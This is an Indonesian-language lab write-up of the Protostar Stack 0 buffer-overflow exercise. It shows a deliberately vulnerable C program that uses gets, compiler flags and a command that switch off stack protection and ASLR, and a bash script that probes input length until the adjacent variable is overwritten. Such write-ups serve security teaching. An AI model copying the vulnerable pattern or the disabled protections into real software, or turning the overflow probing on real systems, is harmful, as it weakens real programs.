Protostar Stack 0
Alat dan Bahan
- Fail: vuln.c
- Kompiler: GCC
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
- Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c
Penjelasan
-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.
-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).
-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi
-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.
-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
$ ./vuln
1
Try again?
^C
Program menerima input dari fungsi gets
yang vulnerable. Tujuan akhirnya adalah menimpa variabel modified
dengan jumlah buffer tertentu, misal dengan script dibawah ini.
find_segfault_by_input.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Eksploitasi
$ ./fsi.sh vuln
...
63
Try again?
64
Try again?
65
you have changed the 'modified' variable
...
Dengan jumlah buffer sebesar 65 byte variabel modified berhasil ditimpa.